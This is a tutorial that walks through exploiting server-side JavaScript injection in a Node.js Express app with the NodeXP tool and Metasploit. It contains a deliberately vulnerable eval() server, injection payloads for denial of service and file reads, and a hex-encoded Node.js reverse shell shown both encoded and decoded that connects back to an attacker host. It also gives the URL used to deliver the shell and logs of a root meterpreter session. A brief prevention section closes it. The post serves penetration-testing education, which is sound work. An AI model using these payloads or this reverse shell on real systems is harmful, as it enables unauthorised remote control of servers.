Server Side JavaScript Injection with NodeXP (Usage Example, SSJI, Metasploit)


Server Side JavaScript Injection with NodeXP (Usage Example, SSJI, Metasploit)

Introduction

Server Side JavaScript Injection with NodeXP wasn’t idealy explained in initial (introduction) post, so we’ll quickly & practicaly go through the steps of SSJI, relying on Metasploit to take over the system. For some general/install info, check – Server Side JavaScript Injection Tool – NodeXP.

Server Side JS Injection (SSJI)

Some JS functions can be exploited by an attacker to execute malicious JS code on the server:

  • eval()
  • setTimeout()
  • setInterval()
  • Function()

Without approriate input validation they are vulnerable. For instance, doing DoS (Denial of Service) with eval():

while(1)

It’s going to take 100% of CPU time.

process.exit() / process.kill(process.pid)

Will kill running process (NodeJS)

We can read/list current directory or specific path:

res.end(require('fs').readdirSync('.').toString())

or

res.end(require('fs').readdirSync(<PATH>).toString())

Read specific file:

res.end(require('fs').readFileSync(filename))

Basically attacker can execute/do almost anything on the system (within user permission limits). Next, we’ll show a few Server Side JavaScript Injection with NodeXP examples.

NodeXP vs Localhost

Localhost example is straightforward. Example for GET:

$ python nodexp.py --url=http://localhost:3001/?name=[INJECT_HERE]

you might want to add –LHOST and –LPORT to avoid adding them later.

A POST example is similar:

$ python nodexp.py --url=http://localhost:3001/post.js --pdata=username=[INJECT_HERE]

nodexp_localhost

NodeXP vs Remote system (domain)

For this test, we already have a “vulnerable” NodeJS server sample in nodexp/testbeds/GET. We’ll host it on TARGET server (6.6.6.6):

var express = require('express');
var app = express();
app.get('/', function(req, res) { 
     var resp=eval(req.query.name);
     res.send('Response</br>'+resp);
});
app.listen(3002);

Attacker will come from 3.3.3.3 server. Run eval.js on target server (install express if needed, as mentioned in the inital post: $ npm install express --save)

$ sudo node eval.js

Run Metasploit on attacker side:

$ msfconsole
       =[ metasploit v4.17.18-dev- ]
+ -- --=[ 1818 exploits - 1029 auxiliary - 315 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload nodejs/shell_reverse_tcp
payload => nodejs/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 3.3.3.3
lhost => 3.3.3.3
msf exploit(multi/handler) > set lport 3005
lport => 3005
msf exploit(multi/handler) > set ExitOnSession true 
ExitOnSession => true
msf exploit(multi/handler) > set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' 
InitialAutoRunScript => post/multi/manage/shell_to_meterpreter
msf exploit(multi/handler) > spool /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt
[*] Spooling to file /home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt...
msf exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.

msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005

Then scan targeted server with NodeXP:

$ python2.7 nodexp.py --url=http://6.6.6.6:3001/?name=[INJECT_HERE] --lhost 3.3.3.3 --lport 3005

Test tries 15 different payloads:

  1. payload: name=res.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
  2. payload: name=response.end(“thats my payload -> 1 -> esvOXhkEAgmNQWZV”)
  3. payload: name=res.end(“esvOXhkEAgmNQWZV”)
  4. payload: name=response.end(“esvOXhkEAgmNQWZV”)
  5. payload: name=eval(esvOXhkEAgmNQWZV)
  6. payload: name=eval(“esvOXhkEAgmNQWZV”)
  7. payload: name=res.end(“ReferenceError -> esvOXhkEAgmNQWZV”)
  8. payload: name=res.end(“esvOXhkEAgmNQWZV”)
  9. payload: name=res.end(‘esvOXhkEAgmNQWZV’)
  10. payload: name=eval(‘”esvOXhkEAgmNQWZV”‘)
  11. payload: name=eval(“esvOXhkEAgmNQWZV”)
  12. payload: name=response.end(“esvOXhkEAgmNQWZV”)
  13. payload: name=response.end(‘esvOXhkEAgmNQWZV’)
  14. payload: name=res.end(‘esvOXhkEAgmNQWZV’)
  15. payload: name=10&roth=0&afterTax=0

Check additional options/parameters (e.g. different injection technique [–tech]). We’ll try upgrading to meterpreter shell with the first vulnerability we find.

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more. Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. Stages are payload components that are downloaded by Stagers modules.
|----------------------------------------------------------|
|          --Server Side Javascript Injection--            |
|    -Detection & Exploitation Tool on Node.js Servers-    |
|----------------------------------------------------------|
|----------------------------------------------------------|
|                                                          |
| 888b    888               888                            |
| 8888b   888               888                            |
| 88888b  888               888                            |
| 888Y88b 888  .d88b.   .d88888  .d88b.  888  888 88888b.  |
| 888 Y88b888 d88""88b d88" 888 d8P  Y8b `Y8bd8P` 888 "88b |
| 888  Y88888 888  888 888  888 88888888   X88K   888  888 |
| 888   Y8888 Y88..88P Y88b 888 Y8b.     .d8""8b. 888 d88P |
| 888    Y888  "Y88P"   "Y88888  "Y8888  888  888 88888P"  |
|                                                 888      |
|                                                 888      |
|                                                 888      |
|----------------------------------------------------------|

...
...

[<] Show injection (Try no. 1) results :
[!] SSJI Done based on payload and it's dynamic response (thats my payload)!
[!] SSJI Done based on payload and it's dynamic response (1)!
[!] SSJI Done based on payload and it's dynamic response (esvOXhkEKgmNQWMV)!
[i] Payload : name=res.end("thats my payload -> 1 -> esvOXhkEKgmNQWMV")
[i] Valid Response(s): ['thats my payload', '1', 'esvOXhkEKgmNQWMV']
[?] Application seems vulnerable. Try for meterpreter shell?
[-] Enter 'y' for 'yes' or 'n' for 'no'.
 -

Type 'Y'.  That’s going to generate payload/.rc/metasploit files:

[>]

-----------------------------------------------------------|
[!] Starting exploitation process!
-----------------------------------------------------------|

[<] Initialize exploitation variables.
[!] Setting local host ip: 'LHOST' = '3.3.3.3'
[!] Setting local port: 'LPORT' = '3005'
[!] Exploitation variables successfully defined!
[>]

[<] Generate exploitation files and run metasploit.
[i] Successfully generated payload file! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_payload.js]
[i] Successfully generated metasploit log file (spool file) [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc.output.txt]
[i] Successfully generated .rc script! [/home/centos/TEST_AREA/nodexp/scripts/nodejs_shell.rc]
[-] Opening metasploit console...
sh: gnome-terminal: command not found
sh: /root/Desktop/logs.txt: Permission denied
[i] Successfully loaded metasploit!
[?] Please, select options above:
 (1) Upload the payload at '3.3.3.3:3005' (current metasploit session); type: '1'
 (2) If you want to exit; type: '2'
 -

At this point, payload is ready for deployment. Compared to localhost (desktop) execution where NodeXP opens up a new terminal window with Metasploit (gnome-terminal), when working on a dedicated server that’s not going to be available (terminal environment only). In that case type ‘2’ (exit) or start another terminal and go to  NodeXP directory. Look for script/nodejs_payload.js. There, you’ll find the payload encoded in HEX form, ready for deployment:

;eval(new Buffer(‘2866756e6374696f6e28297b207661722072657175697265203d20676c6f62616c2e72657175697265207c7c20676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f61643b20696620282172657175697265292072657475726e3b2076617220636d64203d2028676c6f62616c2e70726f636573732e706c6174666f726d2e6d61746368282f5e77696e2f692929203f2022636d6422203a20222f62696e2f7368223b20766172206e6574203d207265717569726528226e657422292c206370203d207265717569726528226368696c645f70726f6365737322292c207574696c203d207265717569726528227574696c22292c207368203d2063702e737061776e28636d642c205b5d293b2076617220636c69656e74203d20746869733b2076617220636f756e7465723d303b2066756e6374696f6e2053746167657252657065617428297b20636c69656e742e736f636b6574203d206e65742e636f6e6e65637428333030352c2022332e332e332e33222c2066756e6374696f6e2829207b20636c69656e742e736f636b65742e706970652873682e737464696e293b2069662028747970656f66207574696c2e70756d70203d3d3d2022756e646566696e65642229207b2073682e7374646f75742e7069706528636c69656e742e736f636b6574293b2073682e7374646572722e7069706528636c69656e742e736f636b6574293b207d20656c7365207b207574696c2e70756d702873682e7374646f75742c20636c69656e742e736f636b6574293b207574696c2e70756d702873682e7374646572722c20636c69656e742e736f636b6574293b207d207d293b20736f636b65742e6f6e28226572726f72222c2066756e6374696f6e286572726f7229207b20636f756e7465722b2b3b20696628636f756e7465723c3d203130297b2073657454696d656f75742866756e6374696f6e2829207b2053746167657252657065617428293b7d2c20352a31303030293b207d20656c73652070726f636573732e6578697428293b207d293b207d2053746167657252657065617428293b207d2928293b’, ‘hex’).toString());

Decoded:

(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? “cmd” : “/bin/sh”; var net = require(“net”), cp = require(“child_process”), util = require(“util”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(3005, “3.3.3.3”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === “undefined”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(“error”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();

Payload basically uses NodeJS functions to create a connection towards Metasploit server. Metasploit will then upgrade that connection/shell to meterpreter, providing you the access to the system. We’ve previously started NodeJS server (eval.js). Open browser and type that in:

http://6.6.6.6:3002/?name=;eval(new Buffer(‘2866756e6374696f6e28297b207661722072657175697265203d20676c6f62616c2e72657175697265207c7c20676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f61643b20696620282172657175697265292072657475726e3b2076617220636d64203d2028676c6f62616c2e70726f636573732e706c6174666f726d2e6d61746368282f5e77696e2f692929203f2022636d6422203a20222f62696e2f7368223b20766172206e6574203d207265717569726528226e657422292c206370203d207265717569726528226368696c645f70726f6365737322292c207574696c203d207265717569726528227574696c22292c207368203d2063702e737061776e28636d642c205b5d293b2076617220636c69656e74203d20746869733b2076617220636f756e7465723d303b2066756e6374696f6e2053746167657252657065617428297b20636c69656e742e736f636b6574203d206e65742e636f6e6e65637428333030352c2022332e332e332e33222c2066756e6374696f6e2829207b20636c69656e742e736f636b65742e706970652873682e737464696e293b2069662028747970656f66207574696c2e70756d70203d3d3d2022756e646566696e65642229207b2073682e7374646f75742e7069706528636c69656e742e736f636b6574293b2073682e7374646572722e7069706528636c69656e742e736f636b6574293b207d20656c7365207b207574696c2e70756d702873682e7374646f75742c20636c69656e742e736f636b6574293b207574696c2e70756d702873682e7374646572722c20636c69656e742e736f636b6574293b207d207d293b20736f636b65742e6f6e28226572726f72222c2066756e6374696f6e286572726f7229207b20636f756e7465722b2b3b20696628636f756e7465723c3d203130297b2073657454696d656f75742866756e6374696f6e2829207b2053746167657252657065617428293b7d2c20352a31303030293b207d20656c73652070726f636573732e6578697428293b207d293b207d2053746167657252657065617428293b207d2928293b’, ‘hex’).toString());

That’s going to establish a connection & trigger Metasploit  “Upgrade” procedure:

msf exploit(multi/handler) > [*] Started reverse TCP handler on 3.3.3.3:3005 
[*] Command shell session 1 opened (3.3.3.3:3005 -> 6.6.6.6:34264) at 2018-10-18 16:08:34 +0200
[*] Session ID 1 (3.3.3.3:3005 -> 6.6.6.6:34264) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter'
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 3.3.3.3:4433 
[*] Sending stage (861480 bytes) to 6.6.6.6
[*] Meterpreter session 2 opened (3.3.3.3:4433 -> 6.6.6.6:40208) at 2018-10-18 16:08:41 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Stopping exploit/multi/handler

msf exploit(multi/handler) > sessions 
Active sessions =============== 
Id Name Type Information Connection 
-- ---- ---- ----------- ---------- 
1 shell nodejs/nodejs 6.6.6.6:3005 -> 3.3.3.3:34264 
2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.3 6.6.6.6:4433 -> 3.3.3.3:40208 
msf exploit(multi/handler) > sessions 2 
[*] Starting interaction with 2... 
meterpreter > pwd 
/home/unknown/TEST_AREA/nodexp/testbeds/GET

We’re on the remote system. In short, Server Side JavaScript Injection with NodeXP diagram:

NodeXP example graph

SSJI Prevention

To prevent Server Side Javascript Injection:

    • Before processing, validate user inputs on the server side
    • Do not use eval() to parse user inputs and avoid similar commands: setTimeout(), setInterval() and function()
    • For JSON parsing, instead of eval, use JSON.parse()
  • Do type conversion with parseXXX() methods
  • Include “use strict” at the begining, which enables strict mode within the enclosing function scope

Conclusion

Server Side JavaScript Injection with NodeXP is just one way/one of the tools we can use (simple example). NodeXP is relatively simple yet usefull tool, trying different payloads until it gets a right response from the server, exposing a vulnerability. Point is, without security awarness during development process, you can jeopardize entire system. Mind you steps while developing.

Download Box